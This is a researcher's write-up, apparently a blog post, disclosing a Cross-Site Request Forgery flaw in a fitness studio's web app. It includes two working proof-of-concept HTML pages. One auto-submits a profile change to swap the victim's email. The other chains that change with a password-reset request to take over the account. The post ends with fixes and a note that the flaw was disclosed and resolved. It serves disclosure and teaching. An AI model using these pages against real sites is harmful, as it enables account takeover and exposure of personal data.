My wife and I are regulars at a popular boutique fitness studio which, as all things must, comes with a web app. So naturally I decided to take a look under the hood to see what sort of trouble I could get into. In this case I was already looking for Cross-Site Request Forgery vulnerabilities in other platforms so I started there. (The real domain has been redacted)

Vulnerability: Cross Site Request Forgery (CSRF)
Impact (In increasing order of severity):

  • An attacker can arbitrarily update victim’s profile data
  • An attacker can reset a victim’s account password gaining full account access
  • An attacker can potentially reset a store manager’s account leading to PII disclosure

Prerequisites:

  • Victim must be logged in and have a currently active browser session to their account
  • Victim must click the malicious link while logged in

Attack flow:

  • Account password reset for user is triggered and email is sent to email controlled by attacker
  • User logs into their account
  • User is tricked into clicking malicious link (i.e. embedded in ad, emailed, chatted, etc…)

Repro Steps:

  1. Log into the studio account
  1. Head to profile settings (i.e https://contoso.com/pages/my-profile)

    When updating profile information the form submission includes a 10-digit parameter called f_1. The POST will fail without it. However, it seemingly succeeds so long as we grab one from a previously successful form submission which can be obtained via updating our own account information, and replaying the value captured in that request. This can be done using F12 > Network in browser tools, or using a proxy such as BurpSuite as shown in the figure below:

In this case, we have f_1=1553202488.

  1. Create the below CSRF poc file with this value and save (poc-UpdateOnly.html). For example:
<!doctype html>
<html>
<head>
<title>CSRF POC</title>
</head>
<body onload="document.csrfForm.submit()">
<form id="le_form_51" class="le_form "
action="https://contoso.com/service/form/submit" method="POST"
name="csrfForm" >
<input type="hidden" name="id" value="51">
<input type="hidden" name="f_1" value="1553202488">
<input type="text" name="f_2" value="" class="f_2">
<input type="text" name="field_1" value="Rick" class="form-control info_first_name">
<input type="text" name="field_2" value="Sanchez" class="form-control info_last_name">
<input type="text" name="field_3" value="updated_email@gmail.com" class="form-control email
info_email">
<input type="text" name="field_4" value="111 Manchester Ave Unit 777" class="form-control
info_address">
<input type="text" name="field_10" value="Nowhere" class="form-control info_city">
<input type="text" name="field_5-2" value="US" class="form-control input_country input_country-2">
<input type="text" name="field_5-1" value="AL" class="form-control input_country input_country-1">
<input type="text" name="field_6" value="94928" class="form-control digit info_postal">
<input type="text" name="field_7" value="9893456778" class="form-control digit info_mobile_phone">
<input type="text" name="field_9" value="0000" class="form-control digit info_home_phone">
</form>
</body>
</html>

  1. Now, while still logged into your studio account, browse to the poc-UpdateOnly.html file in the same web browser like
    file:/// C:\Users\Documents\poc-updateOnly.html
  2. Doing so will then update your profile account information to whatever values were specified in the file. In this case, the victim’s email will be updated to “updated_email@gmail.com
  3. This can then be escalated by combining this with a second CSRF attack wherein the password reset form is submitted in the same request, but using the newly updated email value.
  4. The password reset form requires email, firstname, and lastname, and they must be correctly associated with one another. In other words, the password reset CSRF on it’s own won’t work unless the attacker knows these (victim’s) attribute values. If they did know these values however, then the impact of this vulnerability would simply be the ability to reset the victim’s email indefinitely.
  5. To chain these attacks, create the below poc-UpdateAndResetPassFireFox.html poc file. Ensure that firstname, lastname, and email are identical in both form_ids. Including in the “action=” URL in the second form. For example:
<!doctype html><html><head>
<title>CSRF POC</title>
<script type="text/javascript">
function exec1() {
document.getElementById("le_form_51").submit();
setTimeout(function(){ exec2(); },2000)
}
function exec2(){
document.getElementById("reset").submit();
}
</script>
</head><body>
<body onload="exec1();" >
<form id="le_form_51" class="le_form "
action="https://contoso.com/service/form/submit" method="POST"
name="le_form_51" >
<input type="hidden" name="id" value="51">
<input type="hidden" name="f_1" value="1553124395">
<input type="text" name="f_2" value="" class="f_2">
<input type="text" name="field_1" value="Rick" class="form-control info_first_name">
<input type="text" name="field_2" value="Sanchez" class="form-control info_last_name">
<input type="text" name="field_3" value="updated_email@gmail.com" class="form-control email
info_email">
<input type="text" name="field_4" value="111 Manchester Ave Unit 777" class="form-control
info_address">
<input type="text" name="field_10" value="Nowhere" class="form-control info_city">
<input type="text" name="field_5-2" value="US" class="form-control input_country input_country-2">
<input type="text" name="field_5-1" value="CO" class="form-control input_country input_country-1">
<input type="text" name="field_6" value="88888" class="form-control digit info_postal">
<input type="text" name="field_7" value="9893456778" class="form-control digit info_mobile_phone">
<input type="text" name="field_9" value="0000" class="form-control digit info_home_phone">
</form>
<form id="reset"
action="https://contoso.com/apps/resetpassword.php?email=updated_email@gmail.com&firstname=Rick&lastname=Sanchez&submitreset=Submit Query"
method="GET" name="resetform">
<input type="text" name="email" id="email_to_reset" class="required"
value="updated_email@gmail.com">
<input type="text" name="firstname" class="required" value="Rick">
<input type="text" name="lastname" class="required" value="Sanchez">
<input type="URL" name="submitreset" class="seFormButton" id="submit_reset" value="Submit
Query">
</form>
</body></html>
  1. Finally, with an active browser session, browse to the html file by entering the file path in your
    browser like: file:/// C:\Users\Documents\poc-updateAndRestPassFireFox.html

    In a real attacker’s scenario this file would be hosted on a web server on another machine (accessible by the victim). i.e. an attacker would spin up a simple http server on an AWS instance with python –m SimpleHTTPServer 9999

Problem:
The reason this issue exists is because of the lack of X-CSRF-Token (anti-CSRF). These tokens are validated when user requests are handled by the application. For instance, when a user submits a form, the form data includes a token which is cryptographically linked to another token owned by the server. From an attacker’s standpoint, an attacker has no insight to what this token value could be when foraging request. At most, it can be guessed which would be impractical by virtue a of a strong cryptographic algorithm.


Resolution:

  1. Implement X-CSRF-Token
  2. Implement referrer validation

Option two, while simple, is not ideal however as it is still possible to fake and/or bypass a referrer header validation. So go with option 1 if at all possible.

Closing Remarks:

I noticed that I had to play around with the setTimeout(function(){ exec2(); },2000) value a little when testing on Chrome vs FireFox. The full exploit would only work if the time was just right. If it was too delayed, I would just redirect to the profile page. If it was too fast, the browser would go straight to the password reset page. I also noticed that once I changed the password for a victim account, the victim’s old password still worked and both vistim and attacker were able to log into the account using the old and new password values. This is indicative of improper


Disclaimer:

All findings here were responsibly disclosed and resolved prior to this writeup.